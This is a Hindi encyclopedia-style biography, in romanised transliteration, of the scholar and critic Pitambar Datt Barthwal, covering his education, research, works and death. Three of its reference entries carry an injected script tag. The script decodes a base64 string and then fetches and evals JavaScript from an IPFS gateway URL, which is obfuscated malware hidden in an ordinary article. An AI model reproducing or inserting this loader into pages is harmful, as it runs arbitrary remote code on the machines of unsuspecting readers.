पीताम्बर दत्त बड़थ्वाल
pitambar datt b dathval
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| poora nam | pitambar datt b dathval |
| janm | 2 disambar, 1901 |
| janm bhoomi | pali gram, gadhaval, uttarakhand |
| mrityu | 27 julaee, 1944 |
| mrityu sthan | gadhaval, uttarakhand |
| abhibhavak | pita-pandit gauri datt |
| karm bhoomi | bharat |
| karm-kshetr | hindi sahity |
| mukhy rachanaean | 'ramanand ki hindi rachanayean', 'gorakhavani', 'makarand', 'pranayam vijnan aur kala', 'dhyan se atmachikitsa' tatha 'sooradas jivan samagri' adi. |
| bhasha | hindi |
| vidyalay | kashi hindoo vishvavidyalay |
| shiksha | em.e. |
| prasiddhi | sahityakar, alochak tatha nibandhakar |
| nagarikata | bharatiy |
| vishesh | pitambar datt b dathval svatantr bharat ke hindi mean 'di.lit.' ki upadhi prapt karane vale pahale shodh vidyarthi the. |
| bahari k diyaan | pitambar datt ji 'gosvami tulasidas' tatha 'roopak rahasy' ke sahalekhak aur 'kabir granthavali' evan 'ramachandrika' ke sampadak bhi rahe the. unaki bahut-si rachanaoan mean se kuchh ek pustakean "vardaket laeebreri" ke pas surakshit haian. 'hindi sahity akadami' ab bhi unaki pustakean prakashit karati hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
pitambar datt b dathval (aangrezi: Pitamber Dutt Barthwal, janm- 2 disambar, 1901, gadhaval, uttarakhand; mrityu- 27 julaee, 1944) hindi ke khyatiprapt sahityakar the. ve vidvanh achary ramachandr shukl ke sahayogi rahe the. unhoanne 'gorakh bani' aur 'ramanand' ki rachana ki thi.[1] pitambar datt b dathval hindi mean 'di.lit.' ki upadhi prapt karane vale pahale shodh vidyarthi the. unhoanne anusandhan aur khoj paranpara ka pravartan kiya tatha achary ramachandr shukl aur baboo shyamasuandar das ki paranpara ko age badhate hue hindi alochana ko majabooti pradan ki. unhoanne bhavoan aur vicharoan ki abhivyakti ke liye bhasha ko adhik samarthyavan banakar vikasonmukh shaili ko samane rakha.[2] ve uttarakhand ki hi nahian apitu bharat ki bhi shan haian, jinhean desh-videshoan mean samman mila. uttarakhand ke lok-sahity ke prati bhi unaka lagav tha.
janm tatha shiksha
pitambar datt b dathval ka janm 2 disambar san 1901 mean uttarakhand ke gadhaval zile mean laiansadaun ke nikat pali namak gram mean hua tha. unake pita ka nam pandit gauri datt tha. pitambar ji ne pita se hi sanskrit aur hindi ki prarambhik shiksha ghar par prapt ki. bad mean shrinagar (gadhaval), lakhanoo aur kanapur ki vibhinn shiksha sansthaoan se hote hue ve 'kashi hindoo vishvavidyalay' pahuanche. vahaan em.e. mean pratham shreni mean pratham sthan prapt karane ke kuchh samay bad vahian hindi ke adhyapak niyukt ho ge. isake sath hi unaka shodh kary bhi chalata raha.[3] pitambar datt b dathval ki ganana choti ke vidvanoan mean hoti thi. 1940 mean tirupati mean ayojit 'prachy vidya sammelan' ki hindi shakha ki adhyakshata unhoanne ki thi. adhyapak ke roop mean unaki b di khyati thi. 1937 mean ve 'lakhanoo vishvavidyalay' ke hindi vibhag mean a ge the.
'aanbar' nam se lekhan
hindi sahity ke phalak par shodh pravritti ki prerana ka prakash bikherane vale b dathval ji ne apani sahityik chhavi ke darshan bachapan mean hi kara diye the. balyakal mean hi ve 'aanbar' nam se kavitaean likhane lage the. kishoravastha mean pahuanchakar unhoanne kahani lekhan praranbh kar diya. 1918 ke purusharth mean unaki do kahaniyaan prakashit hueean. kanapur mean apane chhatr jivan ke dauran hi unhoanne 'hilamain' namak aangrezi masik patrika ka sanpadan karate hue apani sanpadakiy pratibha ko bhi pradarshit kiya. jis samay b dathval ji mean sahityik chetana jagi, us samay hindi ke samaksh anek chunotiyaan thian. kathin sangharshoan aur prayatnoan ke bad uchch kakshaoan mean hindi ke pathan-pathan ki vyavastha to ho gee thi, lekin hindi sahity ke gahan adhyayan aur shodh ko koee thos adhar nahian mil paya tha. achary ramachandr shukl aur baboo shyam sundar das jaise rachanakar alochana ke kshetr mean sakriy the. b dathval ji ne is paridrishy mean apani anveshanatmak kshamata ke sahare hindi kshetr mean shodh ki sudridh paranpara ki nianv dali.[2]
bharat ke pratham shodh chhatr
d aau. pitambar datt b dathval svantrat bharat ke pratham shodh chhatr the. unhean unake shodh kary "hindi kavy mean nirgunavad"[4] ke lie varsh 1933 ke dikshaant samaroh mean 'di.lit.' (hindi) se navaza gaya. pitambar datt b dathval ka adhyatmik rachanaoan ki taraph lagav tha, jo unake adhyan v shodh kary me jhalakata hai. unhoanne sanskrit, avadhi, brajabhasha, arabi evan farasi ke shabdoan aur boli ko bhi apane kary mean prayog kiya. unhoanne sant, siddh, nath aur bhakti sahity ki khoj aur vishleshan mean apani ruchi dikhaee aur apane goodh vicharoan ke sath in par prakash dala. bhakti andolan[5] ko hindoo jati ki nirasha ka parinam nahian mana, lekin use bhakti dhara ka vikas mana. unake shodh aur lekh unake gambhir adhyayan aur unaki door drishti ke bhi parichayak haian. unhoanne kaha tha- "bhasha phalati-phoolati to hai sahity mean, aankurit hoti hai bolachal mean, sadharan bolachal par boli manj-sudharakar sahityik bhasha ban jati hai." ve darshanik vayaktitv ke dhani, shodhakarta, nibandhakar v samikshak the. unake nibandh/shodhakary ko aj bhi shodh vidyarthi prayog karate haian. unake nibandh ka mool bhav usaki bhoomika ya shuruat mean hi mil jata hai.
pramukh kritiyaan
nimnalikhit krihtiyaan d aau. pitambar datt b dathval ki soch, adhyan v shodh ko darshati haian[2]-
- 'ramanand ki hindi rachanayean (varanasi, vikram sanvat 2012)
- 'd aau. b dathval ke shreshth nibandh' (s. shri gobiand chatak)
- 'gorakhavani' (kavi gorakhanath ki rachanaoan ka sankalan v sampadan)
- 'sooradas jivan samagri'
- 'makarand' (s. d aau. bhagirath mishr)
- 'kiang arthar eand naits av d raud tebal' ka hindi anuvad (bachchoan ke liye)
- 'kaneripav'
- 'gangabaee'
- 'hindi sahity mean upasana ka svaroop'
- 'kavi keshavadas'
- 'yog pravah' (s. d aau. sampoornanand)
- pranayam vijnan aur kala
- 'dhyan se atmachikitsa'
pitambar datt ji 'gosvami tulasidas' tatha 'roopak rahasy' ke sahalekhak aur 'kabir granthavali' evan 'ram chandrika' ke sampadak bhi rahe.[3] pitambar datt ji ki bahut-si rachanaoan mean se kuchh ek pustakean "vardaket laeebreri" ke pas surakshit haian. 'hindi sahity akadami' ab bhi unaki pustakean prakashit karati hai. kabir, ramanand aur gorakhavani[6] par pitambar datt ne bahut kary kiya aur ise bahut-se sahityakaroan ne apane lekhoan mean aur shodh karyoan mean shamil kiya aur unake kahe ko paimana mana. yah avashy hi chiantajanak hai ki sarakar aur sahityakaroan ne unako vah sthan nahian diya, jisake ve hakadar the. 'prayag vishvavidyalay' ke darshanashastr ke prophesar d aau. ranade ne bhi kaha ki- "yah keval hiandi sahity ki vivechana ke liye hi nahian apitu rahasyavad ki darshanik vyakhya ke liye bhi ek mahattvapoorn den hai."
- 'nath siddhoan ki rachanaean' (bhoomika)
hazari prasad dvivedi ne 'nath siddhoan ki rachanaean' ki bhoomika mean likha hai ki-
nath siddhoan ki hindi rachanaoan ka yah sangrah kee hastalikhit pratiyoan se sankalit hua hai. isamean gorakhanath ki rachanaean sankalit nahian hueean, kyoanki svargiy d aau. pitaanbar datt b dathval ne gorakhanath ki rachanaoan ka sanpadan pahale se hi kar diya hai aur ve gorakh bani nam se prakashit bhi ho chuki haian.[7] b dathval ji ne apani bhoomika mean bataya tha ki unhoanne any nath siddhoan ki rachanaoan ka sangrah bhi kar liya hai, jo is pustak ke doosare bhag mean prakashit hoga. doosara bhag abhi tak prakashit nahian hua hai. atyant duahkh ki bat hai ki usake prakashit hone ke poorv hi vidvanh sanpadak ne ihalok tyag diya. d aau. pitambar datt b dathval ko khoj mean 40 pustakoan ka pata chala tha, jinhean gorakhanath-rachit bataya jata hai. d aau. b dathval ne bahut chhanabin ke bad inamean pratham 14 granthoan ko nisandigdh roop se prachin mana, kyoanki inaka ullekh prayah sabhi pratiyoan mean mila. terahavian pustak ‘gyan chauantisa’ samay par n mil sakane ke karan unake dvara sanpadit sangrah mean nahian a saki, parantu baki terah ko gorakhanath ki rachanaean samajhakar us sangrah mean unhoanne prakashit kar diya tha.
mrityu
pitambar datt ji ne bahut hi kam ayu mean is sansar se vida le li anyatha ve hindi mean aur bhi kee aur rachanaoan ko janm dete, jo hindi sahity ko naya ayam dete. d aau. sanpoornanand ne bhi kaha tha- "yadi ayu ne dhokha n diya hota to ve aur bhi ganbhir rachanaoan ka sarjan karate".[2]pitambar datt b dathval ki mrityu 27 julaee, 1944 ko unaki janm bhoomi pali gram, gadhaval, uttarakhand mean hi huee.
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tika tippani aur sandarbh
- ↑ kashi ke sahityakar (hindi). . abhigaman tithi: 12 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 2.3 d aau. pitambar datt b dathval (hindi) merapahadforum.com. abhigaman tithi: 12 julaee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 465 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 'd nirgun skool aauf hiandi poyatri', aangrezi shodh par adharit jo unhoanne shri shyamaprasad ji ke nirdeshan mean kiya tha.
- ↑ shukl ji ki manyata
- ↑ gorakhabani, san. d aau. pitambar datt b dathval, hiandi sahity sammelan, prayag, dvi. san.
- ↑ hindi sahity sammelan, prayag
sanbandhit lekh
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varnamala kramanusar lekh khoj
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